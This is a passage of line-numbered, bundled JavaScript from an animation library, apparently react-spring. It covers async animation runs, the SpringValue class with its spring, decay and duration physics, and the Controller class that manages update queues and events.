4719 function runAsync(to2, props, state, target) {
4720 const {
4721 callId,
4722 parentId,
4723 onRest
4724 } = props;
4725 const {
4726 asyncTo: prevTo,
4727 promise: prevPromise
4728 } = state;
4729 if (!parentId && to2 === prevTo && !props.reset) {
4730 return prevPromise;
4731 }
4732 return state.promise = (async () => {
4733 state.asyncId = callId;
4734 state.asyncTo = to2;
4735 const defaultProps = getDefaultProps(props, (value, key) => key === "onRest" ? void 0 : value);
4736 let preventBail;
4737 let bail;
4738 const bailPromise = new Promise((resolve, reject) => (preventBail = resolve, bail = reject));
4739 const bailIfEnded = (bailSignal) => {
4740 const bailResult = callId <= (state.cancelId || 0) && getCancelledResult(target) || callId !== state.asyncId && getFinishedResult(target, false);
4741 if (bailResult) {
4742 bailSignal.result = bailResult;
4743 bail(bailSignal);
4744 throw bailSignal;
4745 }
4746 };
4747 const animate = (arg1, arg2) => {
4748 const bailSignal = new BailSignal();
4749 const skipAnimationSignal = new SkipAniamtionSignal();
4750 return (async () => {
4751 if (globals.skipAnimation) {
4752 stopAsync(state);
4753 skipAnimationSignal.result = getFinishedResult(target, false);
4754 bail(skipAnimationSignal);
4755 throw skipAnimationSignal;
4756 }
4757 bailIfEnded(bailSignal);
4758 const props2 = is.obj(arg1) ? _extends3({}, arg1) : _extends3({}, arg2, {
4759 to: arg1
4760 });
4761 props2.parentId = callId;
4762 eachProp(defaultProps, (value, key) => {
4763 if (is.und(props2[key])) {
4764 props2[key] = value;
4765 }
4766 });
4767 const result2 = await target.start(props2);
4768 bailIfEnded(bailSignal);
4769 if (state.paused) {
4770 await new Promise((resume) => {
4771 state.resumeQueue.add(resume);
4772 });
4773 }
4774 return result2;
4775 })();
4776 };
4777 let result;
4778 if (globals.skipAnimation) {
4779 stopAsync(state);
4780 return getFinishedResult(target, false);
4781 }
4782 try {
4783 let animating;
4784 if (is.arr(to2)) {
4785 animating = (async (queue) => {
4786 for (const props2 of queue) {
4787 await animate(props2);
4788 }
4789 })(to2);
4790 } else {
4791 animating = Promise.resolve(to2(animate, target.stop.bind(target)));
4792 }
4793 await Promise.all([animating.then(preventBail), bailPromise]);
4794 result = getFinishedResult(target.get(), true, false);
4795 } catch (err) {
4796 if (err instanceof BailSignal) {
4797 result = err.result;
4798 } else if (err instanceof SkipAniamtionSignal) {
4799 result = err.result;
4800 } else {
4801 throw err;
4802 }
4803 } finally {
4804 if (callId == state.asyncId) {
4805 state.asyncId = parentId;
4806 state.asyncTo = parentId ? prevTo : void 0;
4807 state.promise = parentId ? prevPromise : void 0;
4808 }
4809 }
4810 if (is.fun(onRest)) {
4811 raf.batchedUpdates(() => {
4812 onRest(result, target, target.item);
4813 });
4814 }
4815 return result;
4816 })();
4817 }
4818 function stopAsync(state, cancelId) {
4819 flush(state.timeouts, (t3) => t3.cancel());
4820 state.pauseQueue.clear();
4821 state.resumeQueue.clear();
4822 state.asyncId = state.asyncTo = state.promise = void 0;
4823 if (cancelId) state.cancelId = cancelId;
4824 }
4825 var BailSignal = class extends Error {
4826 constructor() {
4827 super("An async animation has been interrupted. You see this error because you forgot to use `await` or `.catch(...)` on its returned promise.");
4828 this.result = void 0;
4829 }
4830 };
4831 var SkipAniamtionSignal = class extends Error {
4832 constructor() {
4833 super("SkipAnimationSignal");
4834 this.result = void 0;
4835 }
4836 };
4837 var isFrameValue = (value) => value instanceof FrameValue;
4838 var nextId$1 = 1;
4839 var FrameValue = class extends FluidValue {
4840 constructor(...args) {
4841 super(...args);
4842 this.id = nextId$1++;
4843 this.key = void 0;
4844 this._priority = 0;
4845 }
4846 get priority() {
4847 return this._priority;
4848 }
4849 set priority(priority2) {
4850 if (this._priority != priority2) {
4851 this._priority = priority2;
4852 this._onPriorityChange(priority2);
4853 }
4854 }
4855 get() {
4856 const node = getAnimated(this);
4857 return node && node.getValue();
4858 }
4859 to(...args) {
4860 return globals.to(this, args);
4861 }
4862 interpolate(...args) {
4863 deprecateInterpolate();
4864 return globals.to(this, args);
4865 }
4866 toJSON() {
4867 return this.get();
4868 }
4869 observerAdded(count) {
4870 if (count == 1) this._attach();
4871 }
4872 observerRemoved(count) {
4873 if (count == 0) this._detach();
4874 }
4875 _attach() {
4876 }
4877 _detach() {
4878 }
4879 _onChange(value, idle = false) {
4880 callFluidObservers(this, {
4881 type: "change",
4882 parent: this,
4883 value,
4884 idle
4885 });
4886 }
4887 _onPriorityChange(priority2) {
4888 if (!this.idle) {
4889 frameLoop.sort(this);
4890 }
4891 callFluidObservers(this, {
4892 type: "priority",
4893 parent: this,
4894 priority: priority2
4895 });
4896 }
4897 };
4898 var $P = /* @__PURE__ */ Symbol.for("SpringPhase");
4899 var HAS_ANIMATED = 1;
4900 var IS_ANIMATING = 2;
4901 var IS_PAUSED = 4;
4902 var hasAnimated = (target) => (target[$P] & HAS_ANIMATED) > 0;
4903 var isAnimating = (target) => (target[$P] & IS_ANIMATING) > 0;
4904 var isPaused = (target) => (target[$P] & IS_PAUSED) > 0;
4905 var setActiveBit = (target, active) => active ? target[$P] |= IS_ANIMATING | HAS_ANIMATED : target[$P] &= ~IS_ANIMATING;
4906 var setPausedBit = (target, paused) => paused ? target[$P] |= IS_PAUSED : target[$P] &= ~IS_PAUSED;
4907 var SpringValue = class extends FrameValue {
4908 constructor(arg1, arg2) {
4909 super();
4910 this.key = void 0;
4911 this.animation = new Animation();
4912 this.queue = void 0;
4913 this.defaultProps = {};
4914 this._state = {
4915 paused: false,
4916 delayed: false,
4917 pauseQueue: /* @__PURE__ */ new Set(),
4918 resumeQueue: /* @__PURE__ */ new Set(),
4919 timeouts: /* @__PURE__ */ new Set()
4920 };
4921 this._pendingCalls = /* @__PURE__ */ new Set();
4922 this._lastCallId = 0;
4923 this._lastToId = 0;
4924 this._memoizedDuration = 0;
4925 if (!is.und(arg1) || !is.und(arg2)) {
4926 const props = is.obj(arg1) ? _extends3({}, arg1) : _extends3({}, arg2, {
4927 from: arg1
4928 });
4929 if (is.und(props.default)) {
4930 props.default = true;
4931 }
4932 this.start(props);
4933 }
4934 }
4935 get idle() {
4936 return !(isAnimating(this) || this._state.asyncTo) || isPaused(this);
4937 }
4938 get goal() {
4939 return getFluidValue(this.animation.to);
4940 }
4941 get velocity() {
4942 const node = getAnimated(this);
4943 return node instanceof AnimatedValue ? node.lastVelocity || 0 : node.getPayload().map((node2) => node2.lastVelocity || 0);
4944 }
4945 get hasAnimated() {
4946 return hasAnimated(this);
4947 }
4948 get isAnimating() {
4949 return isAnimating(this);
4950 }
4951 get isPaused() {
4952 return isPaused(this);
4953 }
4954 get isDelayed() {
4955 return this._state.delayed;
4956 }
4957 advance(dt) {
4958 let idle = true;
4959 let changed = false;
4960 const anim = this.animation;
4961 let {
4962 config: config2,
4963 toValues
4964 } = anim;
4965 const payload = getPayload(anim.to);
4966 if (!payload && hasFluidValue(anim.to)) {
4967 toValues = toArray(getFluidValue(anim.to));
4968 }
4969 anim.values.forEach((node2, i2) => {
4970 if (node2.done) return;
4971 const to2 = node2.constructor == AnimatedString ? 1 : payload ? payload[i2].lastPosition : toValues[i2];
4972 let finished = anim.immediate;
4973 let position = to2;
4974 if (!finished) {
4975 position = node2.lastPosition;
4976 if (config2.tension <= 0) {
4977 node2.done = true;
4978 return;
4979 }
4980 let elapsed = node2.elapsedTime += dt;
4981 const from = anim.fromValues[i2];
4982 const v0 = node2.v0 != null ? node2.v0 : node2.v0 = is.arr(config2.velocity) ? config2.velocity[i2] : config2.velocity;
4983 let velocity;
4984 const precision = config2.precision || (from == to2 ? 5e-3 : Math.min(1, Math.abs(to2 - from) * 1e-3));
4985 if (!is.und(config2.duration)) {
4986 let p3 = 1;
4987 if (config2.duration > 0) {
4988 if (this._memoizedDuration !== config2.duration) {
4989 this._memoizedDuration = config2.duration;
4990 if (node2.durationProgress > 0) {
4991 node2.elapsedTime = config2.duration * node2.durationProgress;
4992 elapsed = node2.elapsedTime += dt;
4993 }
4994 }
4995 p3 = (config2.progress || 0) + elapsed / this._memoizedDuration;
4996 p3 = p3 > 1 ? 1 : p3 < 0 ? 0 : p3;
4997 node2.durationProgress = p3;
4998 }
4999 position = from + config2.easing(p3) * (to2 - from);
5000 velocity = (position - node2.lastPosition) / dt;
5001 finished = p3 == 1;
5002 } else if (config2.decay) {
5003 const decay = config2.decay === true ? 0.998 : config2.decay;
5004 const e2 = Math.exp(-(1 - decay) * elapsed);
5005 position = from + v0 / (1 - decay) * (1 - e2);
5006 finished = Math.abs(node2.lastPosition - position) <= precision;
5007 velocity = v0 * e2;
5008 } else {
5009 velocity = node2.lastVelocity == null ? v0 : node2.lastVelocity;
5010 const restVelocity = config2.restVelocity || precision / 10;
5011 const bounceFactor = config2.clamp ? 0 : config2.bounce;
5012 const canBounce = !is.und(bounceFactor);
5013 const isGrowing = from == to2 ? node2.v0 > 0 : from < to2;
5014 let isMoving;
5015 let isBouncing = false;
5016 const step = 1;
5017 const numSteps = Math.ceil(dt / step);
5018 for (let n2 = 0; n2 < numSteps; ++n2) {
5019 isMoving = Math.abs(velocity) > restVelocity;
5020 if (!isMoving) {
5021 finished = Math.abs(to2 - position) <= precision;
5022 if (finished) {
5023 break;
5024 }
5025 }
5026 if (canBounce) {
5027 isBouncing = position == to2 || position > to2 == isGrowing;
5028 if (isBouncing) {
5029 velocity = -velocity * bounceFactor;
5030 position = to2;
5031 }
5032 }
5033 const springForce = -config2.tension * 1e-6 * (position - to2);
5034 const dampingForce = -config2.friction * 1e-3 * velocity;
5035 const acceleration = (springForce + dampingForce) / config2.mass;
5036 velocity = velocity + acceleration * step;
5037 position = position + velocity * step;
5038 }
5039 }
5040 node2.lastVelocity = velocity;
5041 if (Number.isNaN(position)) {
5042 console.warn(`Got NaN while animating:`, this);
5043 finished = true;
5044 }
5045 }
5046 if (payload && !payload[i2].done) {
5047 finished = false;
5048 }
5049 if (finished) {
5050 node2.done = true;
5051 } else {
5052 idle = false;
5053 }
5054 if (node2.setValue(position, config2.round)) {
5055 changed = true;
5056 }
5057 });
5058 const node = getAnimated(this);
5059 const currVal = node.getValue();
5060 if (idle) {
5061 const finalVal = getFluidValue(anim.to);
5062 if ((currVal !== finalVal || changed) && !config2.decay) {
5063 node.setValue(finalVal);
5064 this._onChange(finalVal);
5065 } else if (changed && config2.decay) {
5066 this._onChange(currVal);
5067 }
5068 this._stop();
5069 } else if (changed) {
5070 this._onChange(currVal);
5071 }
5072 }
5073 set(value) {
5074 raf.batchedUpdates(() => {
5075 this._stop();
5076 this._focus(value);
5077 this._set(value);
5078 });
5079 return this;
5080 }
5081 pause() {
5082 this._update({
5083 pause: true
5084 });
5085 }
5086 resume() {
5087 this._update({
5088 pause: false
5089 });
5090 }
5091 finish() {
5092 if (isAnimating(this)) {
5093 const {
5094 to: to2,
5095 config: config2
5096 } = this.animation;
5097 raf.batchedUpdates(() => {
5098 this._onStart();
5099 if (!config2.decay) {
5100 this._set(to2, false);
5101 }
5102 this._stop();
5103 });
5104 }
5105 return this;
5106 }
5107 update(props) {
5108 const queue = this.queue || (this.queue = []);
5109 queue.push(props);
5110 return this;
5111 }
5112 start(to2, arg2) {
5113 let queue;
5114 if (!is.und(to2)) {
5115 queue = [is.obj(to2) ? to2 : _extends3({}, arg2, {
5116 to: to2
5117 })];
5118 } else {
5119 queue = this.queue || [];
5120 this.queue = [];
5121 }
5122 return Promise.all(queue.map((props) => {
5123 const up = this._update(props);
5124 return up;
5125 })).then((results) => getCombinedResult(this, results));
5126 }
5127 stop(cancel) {
5128 const {
5129 to: to2
5130 } = this.animation;
5131 this._focus(this.get());
5132 stopAsync(this._state, cancel && this._lastCallId);
5133 raf.batchedUpdates(() => this._stop(to2, cancel));
5134 return this;
5135 }
5136 reset() {
5137 this._update({
5138 reset: true
5139 });
5140 }
5141 eventObserved(event) {
5142 if (event.type == "change") {
5143 this._start();
5144 } else if (event.type == "priority") {
5145 this.priority = event.priority + 1;
5146 }
5147 }
5148 _prepareNode(props) {
5149 const key = this.key || "";
5150 let {
5151 to: to2,
5152 from
5153 } = props;
5154 to2 = is.obj(to2) ? to2[key] : to2;
5155 if (to2 == null || isAsyncTo(to2)) {
5156 to2 = void 0;
5157 }
5158 from = is.obj(from) ? from[key] : from;
5159 if (from == null) {
5160 from = void 0;
5161 }
5162 const range = {
5163 to: to2,
5164 from
5165 };
5166 if (!hasAnimated(this)) {
5167 if (props.reverse) [to2, from] = [from, to2];
5168 from = getFluidValue(from);
5169 if (!is.und(from)) {
5170 this._set(from);
5171 } else if (!getAnimated(this)) {
5172 this._set(to2);
5173 }
5174 }
5175 return range;
5176 }
5177 _update(_ref, isLoop) {
5178 let props = _extends3({}, _ref);
5179 const {
5180 key,
5181 defaultProps
5182 } = this;
5183 if (props.default) Object.assign(defaultProps, getDefaultProps(props, (value, prop) => /^on/.test(prop) ? resolveProp(value, key) : value));
5184 mergeActiveFn(this, props, "onProps");
5185 sendEvent(this, "onProps", props, this);
5186 const range = this._prepareNode(props);
5187 if (Object.isFrozen(this)) {
5188 throw Error("Cannot animate a `SpringValue` object that is frozen. Did you forget to pass your component to `animated(...)` before animating its props?");
5189 }
5190 const state = this._state;
5191 return scheduleProps(++this._lastCallId, {
5192 key,
5193 props,
5194 defaultProps,
5195 state,
5196 actions: {
5197 pause: () => {
5198 if (!isPaused(this)) {
5199 setPausedBit(this, true);
5200 flushCalls(state.pauseQueue);
5201 sendEvent(this, "onPause", getFinishedResult(this, checkFinished(this, this.animation.to)), this);
5202 }
5203 },
5204 resume: () => {
5205 if (isPaused(this)) {
5206 setPausedBit(this, false);
5207 if (isAnimating(this)) {
5208 this._resume();
5209 }
5210 flushCalls(state.resumeQueue);
5211 sendEvent(this, "onResume", getFinishedResult(this, checkFinished(this, this.animation.to)), this);
5212 }
5213 },
5214 start: this._merge.bind(this, range)
5215 }
5216 }).then((result) => {
5217 if (props.loop && result.finished && !(isLoop && result.noop)) {
5218 const nextProps = createLoopUpdate(props);
5219 if (nextProps) {
5220 return this._update(nextProps, true);
5221 }
5222 }
5223 return result;
5224 });
5225 }
5226 _merge(range, props, resolve) {
5227 if (props.cancel) {
5228 this.stop(true);
5229 return resolve(getCancelledResult(this));
5230 }
5231 const hasToProp = !is.und(range.to);
5232 const hasFromProp = !is.und(range.from);
5233 if (hasToProp || hasFromProp) {
5234 if (props.callId > this._lastToId) {
5235 this._lastToId = props.callId;
5236 } else {
5237 return resolve(getCancelledResult(this));
5238 }
5239 }
5240 const {
5241 key,
5242 defaultProps,
5243 animation: anim
5244 } = this;
5245 const {
5246 to: prevTo,
5247 from: prevFrom
5248 } = anim;
5249 let {
5250 to: to2 = prevTo,
5251 from = prevFrom
5252 } = range;
5253 if (hasFromProp && !hasToProp && (!props.default || is.und(to2))) {
5254 to2 = from;
5255 }
5256 if (props.reverse) [to2, from] = [from, to2];
5257 const hasFromChanged = !isEqual(from, prevFrom);
5258 if (hasFromChanged) {
5259 anim.from = from;
5260 }
5261 from = getFluidValue(from);
5262 const hasToChanged = !isEqual(to2, prevTo);
5263 if (hasToChanged) {
5264 this._focus(to2);
5265 }
5266 const hasAsyncTo = isAsyncTo(props.to);
5267 const {
5268 config: config2
5269 } = anim;
5270 const {
5271 decay,
5272 velocity
5273 } = config2;
5274 if (hasToProp || hasFromProp) {
5275 config2.velocity = 0;
5276 }
5277 if (props.config && !hasAsyncTo) {
5278 mergeConfig(config2, callProp(props.config, key), props.config !== defaultProps.config ? callProp(defaultProps.config, key) : void 0);
5279 }
5280 let node = getAnimated(this);
5281 if (!node || is.und(to2)) {
5282 return resolve(getFinishedResult(this, true));
5283 }
5284 const reset = is.und(props.reset) ? hasFromProp && !props.default : !is.und(from) && matchProp(props.reset, key);
5285 const value = reset ? from : this.get();
5286 const goal = computeGoal(to2);
5287 const isAnimatable = is.num(goal) || is.arr(goal) || isAnimatedString(goal);
5288 const immediate = !hasAsyncTo && (!isAnimatable || matchProp(defaultProps.immediate || props.immediate, key));
5289 if (hasToChanged) {
5290 const nodeType = getAnimatedType(to2);
5291 if (nodeType !== node.constructor) {
5292 if (immediate) {
5293 node = this._set(goal);
5294 } else throw Error(`Cannot animate between ${node.constructor.name} and ${nodeType.name}, as the "to" prop suggests`);
5295 }
5296 }
5297 const goalType = node.constructor;
5298 let started = hasFluidValue(to2);
5299 let finished = false;
5300 if (!started) {
5301 const hasValueChanged = reset || !hasAnimated(this) && hasFromChanged;
5302 if (hasToChanged || hasValueChanged) {
5303 finished = isEqual(computeGoal(value), goal);
5304 started = !finished;
5305 }
5306 if (!isEqual(anim.immediate, immediate) && !immediate || !isEqual(config2.decay, decay) || !isEqual(config2.velocity, velocity)) {
5307 started = true;
5308 }
5309 }
5310 if (finished && isAnimating(this)) {
5311 if (anim.changed && !reset) {
5312 started = true;
5313 } else if (!started) {
5314 this._stop(prevTo);
5315 }
5316 }
5317 if (!hasAsyncTo) {
5318 if (started || hasFluidValue(prevTo)) {
5319 anim.values = node.getPayload();
5320 anim.toValues = hasFluidValue(to2) ? null : goalType == AnimatedString ? [1] : toArray(goal);
5321 }
5322 if (anim.immediate != immediate) {
5323 anim.immediate = immediate;
5324 if (!immediate && !reset) {
5325 this._set(prevTo);
5326 }
5327 }
5328 if (started) {
5329 const {
5330 onRest
5331 } = anim;
5332 each(ACTIVE_EVENTS, (type) => mergeActiveFn(this, props, type));
5333 const result = getFinishedResult(this, checkFinished(this, prevTo));
5334 flushCalls(this._pendingCalls, result);
5335 this._pendingCalls.add(resolve);
5336 if (anim.changed) raf.batchedUpdates(() => {
5337 anim.changed = !reset;
5338 onRest == null ? void 0 : onRest(result, this);
5339 if (reset) {
5340 callProp(defaultProps.onRest, result);
5341 } else {
5342 anim.onStart == null ? void 0 : anim.onStart(result, this);
5343 }
5344 });
5345 }
5346 }
5347 if (reset) {
5348 this._set(value);
5349 }
5350 if (hasAsyncTo) {
5351 resolve(runAsync(props.to, props, this._state, this));
5352 } else if (started) {
5353 this._start();
5354 } else if (isAnimating(this) && !hasToChanged) {
5355 this._pendingCalls.add(resolve);
5356 } else {
5357 resolve(getNoopResult(value));
5358 }
5359 }
5360 _focus(value) {
5361 const anim = this.animation;
5362 if (value !== anim.to) {
5363 if (getFluidObservers(this)) {
5364 this._detach();
5365 }
5366 anim.to = value;
5367 if (getFluidObservers(this)) {
5368 this._attach();
5369 }
5370 }
5371 }
5372 _attach() {
5373 let priority2 = 0;
5374 const {
5375 to: to2
5376 } = this.animation;
5377 if (hasFluidValue(to2)) {
5378 addFluidObserver(to2, this);
5379 if (isFrameValue(to2)) {
5380 priority2 = to2.priority + 1;
5381 }
5382 }
5383 this.priority = priority2;
5384 }
5385 _detach() {
5386 const {
5387 to: to2
5388 } = this.animation;
5389 if (hasFluidValue(to2)) {
5390 removeFluidObserver(to2, this);
5391 }
5392 }
5393 _set(arg, idle = true) {
5394 const value = getFluidValue(arg);
5395 if (!is.und(value)) {
5396 const oldNode = getAnimated(this);
5397 if (!oldNode || !isEqual(value, oldNode.getValue())) {
5398 const nodeType = getAnimatedType(value);
5399 if (!oldNode || oldNode.constructor != nodeType) {
5400 setAnimated(this, nodeType.create(value));
5401 } else {
5402 oldNode.setValue(value);
5403 }
5404 if (oldNode) {
5405 raf.batchedUpdates(() => {
5406 this._onChange(value, idle);
5407 });
5408 }
5409 }
5410 }
5411 return getAnimated(this);
5412 }
5413 _onStart() {
5414 const anim = this.animation;
5415 if (!anim.changed) {
5416 anim.changed = true;
5417 sendEvent(this, "onStart", getFinishedResult(this, checkFinished(this, anim.to)), this);
5418 }
5419 }
5420 _onChange(value, idle) {
5421 if (!idle) {
5422 this._onStart();
5423 callProp(this.animation.onChange, value, this);
5424 }
5425 callProp(this.defaultProps.onChange, value, this);
5426 super._onChange(value, idle);
5427 }
5428 _start() {
5429 const anim = this.animation;
5430 getAnimated(this).reset(getFluidValue(anim.to));
5431 if (!anim.immediate) {
5432 anim.fromValues = anim.values.map((node) => node.lastPosition);
5433 }
5434 if (!isAnimating(this)) {
5435 setActiveBit(this, true);
5436 if (!isPaused(this)) {
5437 this._resume();
5438 }
5439 }
5440 }
5441 _resume() {
5442 if (globals.skipAnimation) {
5443 this.finish();
5444 } else {
5445 frameLoop.start(this);
5446 }
5447 }
5448 _stop(goal, cancel) {
5449 if (isAnimating(this)) {
5450 setActiveBit(this, false);
5451 const anim = this.animation;
5452 each(anim.values, (node) => {
5453 node.done = true;
5454 });
5455 if (anim.toValues) {
5456 anim.onChange = anim.onPause = anim.onResume = void 0;
5457 }
5458 callFluidObservers(this, {
5459 type: "idle",
5460 parent: this
5461 });
5462 const result = cancel ? getCancelledResult(this.get()) : getFinishedResult(this.get(), checkFinished(this, goal != null ? goal : anim.to));
5463 flushCalls(this._pendingCalls, result);
5464 if (anim.changed) {
5465 anim.changed = false;
5466 sendEvent(this, "onRest", result, this);
5467 }
5468 }
5469 }
5470 };
5471 function checkFinished(target, to2) {
5472 const goal = computeGoal(to2);
5473 const value = computeGoal(target.get());
5474 return isEqual(value, goal);
5475 }
5476 function createLoopUpdate(props, loop2 = props.loop, to2 = props.to) {
5477 let loopRet = callProp(loop2);
5478 if (loopRet) {
5479 const overrides = loopRet !== true && inferTo(loopRet);
5480 const reverse = (overrides || props).reverse;
5481 const reset = !overrides || overrides.reset;
5482 return createUpdate(_extends3({}, props, {
5483 loop: loop2,
5484 default: false,
5485 pause: void 0,
5486 to: !reverse || isAsyncTo(to2) ? to2 : void 0,
5487 from: reset ? props.from : void 0,
5488 reset
5489 }, overrides));
5490 }
5491 }
5492 function createUpdate(props) {
5493 const {
5494 to: to2,
5495 from
5496 } = props = inferTo(props);
5497 const keys = /* @__PURE__ */ new Set();
5498 if (is.obj(to2)) findDefined(to2, keys);
5499 if (is.obj(from)) findDefined(from, keys);
5500 props.keys = keys.size ? Array.from(keys) : null;
5501 return props;
5502 }
5503 function findDefined(values, keys) {
5504 eachProp(values, (value, key) => value != null && keys.add(key));
5505 }
5506 var ACTIVE_EVENTS = ["onStart", "onRest", "onChange", "onPause", "onResume"];
5507 function mergeActiveFn(target, props, type) {
5508 target.animation[type] = props[type] !== getDefaultProp(props, type) ? resolveProp(props[type], target.key) : void 0;
5509 }
5510 function sendEvent(target, type, ...args) {
5511 var _target$animation$typ, _target$animation, _target$defaultProps$, _target$defaultProps;
5512 (_target$animation$typ = (_target$animation = target.animation)[type]) == null ? void 0 : _target$animation$typ.call(_target$animation, ...args);
5513 (_target$defaultProps$ = (_target$defaultProps = target.defaultProps)[type]) == null ? void 0 : _target$defaultProps$.call(_target$defaultProps, ...args);
5514 }
5515 var BATCHED_EVENTS = ["onStart", "onChange", "onRest"];
5516 var nextId = 1;
5517 var Controller = class {
5518 constructor(props, flush2) {
5519 this.id = nextId++;
5520 this.springs = {};
5521 this.queue = [];
5522 this.ref = void 0;
5523 this._flush = void 0;
5524 this._initialProps = void 0;
5525 this._lastAsyncId = 0;
5526 this._active = /* @__PURE__ */ new Set();
5527 this._changed = /* @__PURE__ */ new Set();
5528 this._started = false;
5529 this._item = void 0;
5530 this._state = {
5531 paused: false,
5532 pauseQueue: /* @__PURE__ */ new Set(),
5533 resumeQueue: /* @__PURE__ */ new Set(),
5534 timeouts: /* @__PURE__ */ new Set()
5535 };
5536 this._events = {
5537 onStart: /* @__PURE__ */ new Map(),
5538 onChange: /* @__PURE__ */ new Map(),
5539 onRest: /* @__PURE__ */ new Map()
5540 };
5541 this._onFrame = this._onFrame.bind(this);
5542 if (flush2) {
5543 this._flush = flush2;
5544 }
5545 if (props) {
5546 this.start(_extends3({
5547 default: true
5548 }, props));
5549 }
5550 }
5551 get idle() {
5552 return !this._state.asyncTo && Object.values(this.springs).every((spring) => {
5553 return spring.idle && !spring.isDelayed && !spring.isPaused;
5554 });
5555 }
5556 get item() {
5557 return this._item;
5558 }
5559 set item(item) {
5560 this._item = item;
5561 }
5562 get() {
5563 const values = {};
5564 this.each((spring, key) => values[key] = spring.get());
5565 return values;
5566 }
5567 set(values) {
5568 for (const key in values) {
5569 const value = values[key];
5570 if (!is.und(value)) {
5571 this.springs[key].set(value);
5572 }
5573 }
5574 }
5575 update(props) {
5576 if (props) {
5577 this.queue.push(createUpdate(props));
5578 }
5579 return this;
5580 }
5581 start(props) {
5582 let {
5583 queue
5584 } = this;
5585 if (props) {
5586 queue = toArray(props).map(createUpdate);
5587 } else {
5588 this.queue = [];
5589 }
5590 if (this._flush) {
5591 return this._flush(this, queue);
5592 }
5593 prepareKeys(this, queue);
5594 return flushUpdateQueue(this, queue);
5595 }
5596 stop(arg, keys) {
5597 if (arg !== !!arg) {
5598 keys = arg;
5599 }
5600 if (keys) {
5601 const springs = this.springs;
5602 each(toArray(keys), (key) => springs[key].stop(!!arg));
5603 } else {
5604 stopAsync(this._state, this._lastAsyncId);
5605 this.each((spring) => spring.stop(!!arg));
5606 }
5607 return this;
5608 }
5609 pause(keys) {
5610 if (is.und(keys)) {
5611 this.start({
5612 pause: true
5613 });
5614 } else {
5615 const springs = this.springs;
5616 each(toArray(keys), (key) => springs[key].pause());
5617 }
5618 return this;
5619 }
5620 resume(keys) {
5621 if (is.und(keys)) {
5622 this.start({
5623 pause: false
5624 });
5625 } else {
5626 const springs = this.springs;
5627 each(toArray(keys), (key) => springs[key].resume());
5628 }
5629 return this;
5630 }
5631 each(iterator) {
5632 eachProp(this.springs, iterator);
5633 }
5634 _onFrame() {
5635 const {
5636 onStart,
5637 onChange,
5638 onRest
5639 } = this._events;
5640 const active = this._active.size > 0;
5641 const changed = this._changed.size > 0;
5642 if (active && !this._started || changed && !this._started) {
5643 this._started = true;
5644 flush(onStart, ([onStart2, result]) => {
5645 result.value = this.get();
5646 onStart2(result, this, this._item);
5647 });
5648 }
5649 const idle = !active && this._started;
5650 const values = changed || idle && onRest.size ? this.get() : null;
5651 if (changed && onChange.size) {
5652 flush(onChange, ([onChange2, result]) => {
5653 result.value = values;
5654 onChange2(result, this, this._item);
5655 });
5656 }
5657 if (idle) {
5658 this._started = false;
5659 flush(onRest, ([onRest2, result]) => {
5660 result.value = values;
5661 onRest2(result, this, this._item);
5662 });
5663 }
5664 }
5665 eventObserved(event) {
5666 if (event.type == "change") {
5667 this._changed.add(event.parent);
5668 if (!event.idle) {
5669 this._active.add(event.parent);
5670 }
5671 } else if (event.type == "idle") {
5672 this._active.delete(event.parent);
5673 } else return;
5674 raf.onFrame(this._onFrame);
5675 }
5676 };
5677 function flushUpdateQueue(ctrl, queue) {
5678 return Promise.all(queue.map((props) => flushUpdate(ctrl, props))).then((results) => getCombinedResult(ctrl, results));
5679 }
5680 async function flushUpdate(ctrl, props, isLoop) {
5681 const {
5682 keys,
5683 to: to2,
5684 from,
5685 loop: loop2,
5686 onRest,
5687 onResolve
5688 } = props;
5689 const defaults2 = is.obj(props.default) && props.default;
5690 if (loop2) {
5691 props.loop = false;
5692 }
5693 if (to2 === false) props.to = null;
5694 if (from === false) props.from = null;
5695 const asyncTo = is.arr(to2) || is.fun(to2) ? to2 : void 0;
5696 if (asyncTo) {
5697 props.to = void 0;
5698 props.onRest = void 0;
5699 if (defaults2) {
5700 defaults2.onRest = void 0;
5701 }
5702 } else {
5703 each(BATCHED_EVENTS, (key) => {
5704 const handler = props[key];
5705 if (is.fun(handler)) {
5706 const queue = ctrl["_events"][key];
5707 props[key] = ({
5708 finished,
5709 cancelled
5710 }) => {
5711 const result2 = queue.get(handler);
5712 if (result2) {
5713 if (!finished) result2.finished = false;
5714 if (cancelled) result2.cancelled = true;
5715 } else {
5716 queue.set(handler, {
5717 value: null,
5718 finished: finished || false,
5719 cancelled: cancelled || false
5720 });
5721 }
5722 };
5723 if (defaults2) {
5724 defaults2[key] = props[key];
5725 }
5726 }
5727 });
5728 }
5729 const state = ctrl["_state"];
5730 if (props.pause === !state.paused) {
5731 state.paused = props.pause;
5732 flushCalls(props.pause ? state.pauseQueue : state.resumeQueue);
5733 } else if (state.paused) {
5734 props.pause = true;
5735 }
5736 const promises = (keys || Object.keys(ctrl.springs)).map((key) => ctrl.springs[key].start(props));
5737 const cancel = props.cancel === true || getDefaultProp(props, "cancel") === true;
5738 if (asyncTo || cancel && state.asyncId) {
5739 promises.push(scheduleProps(++ctrl["_lastAsyncId"], {
5740 props,
5741 state,
5742 actions: {
5743 pause: noop,
5744 resume: noop,
5745 start(props2, resolve) {
5746 if (cancel) {
5747 stopAsync(state, ctrl["_lastAsyncId"]);
5748 resolve(getCancelledResult(ctrl));
5749 } else {
5750 props2.onRest = onRest;
5751 resolve(runAsync(asyncTo, props2, state, ctrl));
5752 }
5753 }
5754 }
5755 }));
5756 }
5757 if (state.paused) {
5758 await new Promise((resume) => {
5759 state.resumeQueue.add(resume);
5760 });
5761 }
5762 const result = getCombinedResult(ctrl, await Promise.all(promises));
5763 if (loop2 && result.finished && !(isLoop && result.noop)) {
5764 const nextProps = createLoopUpdate(props, loop2, to2);
5765 if (nextProps) {
5766 prepareKeys(ctrl, [nextProps]);
5767 return flushUpdate(ctrl, nextProps, true);
5768 }
5769 }
5770 if (onResolve) {
5771 raf.batchedUpdates(() => onResolve(result, ctrl, ctrl.item));
5772 }
5773 return result;
5774 }
5775 function createSpring(key, observer) {
5776 const spring = new SpringValue();
5777 spring.key = key;
5778 if (observer) {
5779 addFluidObserver(spring, observer);
5780 }
5781 return spring;
5782 }
5783 function prepareSprings(springs, props, create) {
5784 if (props.keys) {
5785 each(props.keys, (key) => {
5786 const spring = springs[key] || (springs[key] = create(key));
5787 spring["_prepareNode"](props);
5788 });
5789 }
5790 }
5791 function prepareKeys(ctrl, queue) {
5792 each(queue, (props) => {
5793 prepareSprings(ctrl.springs, props, (key) => {
5794 return createSpring(key, ctrl);
5795 });
5796 });
5797 }
